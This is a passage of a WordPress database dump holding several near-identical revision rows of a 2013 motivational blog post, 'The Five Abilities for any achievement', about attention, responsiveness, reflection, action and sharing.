philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nI"ve never stopped learning these abilities. I know from my own experience, when you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative powers released by forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-8', '', '', '2013-08-08 20:42:33', '2013-08-09 03:42:33', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-8/', 0, 'revision', '', 0),
(2413, 2, '2013-08-08 20:45:20', '2013-08-09 03:45:20', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my professional life.\r\n\r\nOver the passing years, with every new achievement came new challenges. Truth be told, I''m facing some exciting, yet demanding challenges right now– I can use a refresher. We call that personal growth and it has no end.\r\n\r\nAs I set new goals and face new challenges in my own life, I thought I would share these abilities with you in hopes it may inspire you to keep believing in your life goals. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life in all its expressions unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nI"ve never stopped learning these abilities. I know from my own experience, when you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative powers released by forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-9', '', '', '2013-08-08 20:45:20', '2013-08-09 03:45:20', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-9/', 0, 'revision', '', 0),
(2414, 2, '2013-08-08 20:45:29', '2013-08-09 03:45:29', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my professional life.\r\n\r\nOver the passing years, with every new achievement came new challenges. Truth be told, I''m facing some exciting, yet demanding challenges right now– I can use a refresher. We call that personal growth and it has no end.\r\n\r\nAs I set new goals and face new challenges in my own life, I thought I would share these abilities with you in hopes it may inspire you to keep believing in your life goals. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life in all its expressions unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nI"ve never stopped learning these abilities. I know from my own experience, when you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative powers released by forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-10', '', '', '2013-08-08 20:45:29', '2013-08-09 03:45:29', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-10/', 0, 'revision', '', 0),
(2415, 2, '2013-08-08 20:45:39', '2013-08-09 03:45:39', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my professional life.\r\n\r\nOver the passing years, with every new achievement came new challenges. Truth be told, I''m facing some exciting, yet demanding challenges right now– I can use a refresher. We call that personal growth and it has no end.\r\n\r\nAs I set new goals and face new challenges in my own life, I thought I would share these abilities with you in hopes it may inspire you to keep believing in your life goals. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life in all its expressions unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nI"ve never stopped learning these abilities. I know from my own experience, when you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative powers released by forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-11', '', '', '2013-08-08 20:45:39', '2013-08-09 03:45:39', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-11/', 0, 'revision', '', 0),
(2416, 2, '2013-08-08 20:45:48', '2013-08-09 03:45:48', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my professional life.\r\n\r\nOver the passing years, with every new achievement came new challenges. Truth be told, I''m facing some exciting, yet demanding challenges right now– I can use a refresher. We call that personal growth and it has no end.\r\n\r\nAs I set new goals and face new challenges in my own life, I thought I would share these abilities with you in hopes it may inspire you to keep believing in your life goals. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life in all its expressions unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nI"ve never stopped learning these abilities. I know from my own experience, when you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative powers released by forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-12', '', '', '2013-08-08 20:45:48', '2013-08-09 03:45:48', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-12/', 0, 'revision', '', 0),
(2418, 2, '2013-08-08 20:55:33', '2013-08-09 03:55:33', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my entrepreneurial life.\r\n\r\nOver the passing years, with every new achievement came new challenges. Truth be told, I''m facing some exciting, yet demanding challenges right now– I can use a refresher. We call that personal growth and it has no end.\r\n\r\nAs I set new goals and face new challenges in my life, I thought I would share these abilities with you in hopes it may inspire you to keep believing in your life goals. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life in all its expressions unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nI"ve never stopped learning these abilities. I know from my own experience, when you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative powers released by forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-14', '', '', '2013-08-08 20:55:33', '2013-08-09 03:55:33', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-14/', 0, 'revision', '', 0);
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(2419, 2, '2013-08-08 20:59:42', '2013-08-09 03:59:42', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my entrepreneurial life.\r\n\r\nOver the passing years, with every new achievement came new challenges. Truth be told, I''m facing some exciting, yet demanding challenges right now– I can use a refresher. We call that personal growth and it has no end.\r\n\r\nAs I set new goals and face new challenges in my life, I thought I would share these abilities with you in hopes it may inspire you to keep believing in your life goals. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life in all its expressions to unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nI"ve never stopped learning these abilities. I know from my own experience, when you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative powers released by forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-15', '', '', '2013-08-08 20:59:42', '2013-08-09 03:59:42', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-15/', 0, 'revision', '', 0),
(2420, 2, '2013-08-08 21:00:43', '2013-08-09 04:00:43', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my entrepreneurial life.\r\n\r\nOver the passing years, with every new achievement came new challenges. Truth be told, I''m facing some exciting, yet demanding challenges right now– I can use a refresher. We call that personal growth and it has no end.\r\n\r\nAs I set new goals and face new challenges in my life, I thought I would share this knowledge with you in hopes it may inspire you to keep believing in your life goals. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life in all its expressions to unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nI"ve never stopped learning these abilities. I know from my own experience, when you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative powers released by forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-16', '', '', '2013-08-08 21:00:43', '2013-08-09 04:00:43', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-16/', 0, 'revision', '', 0),
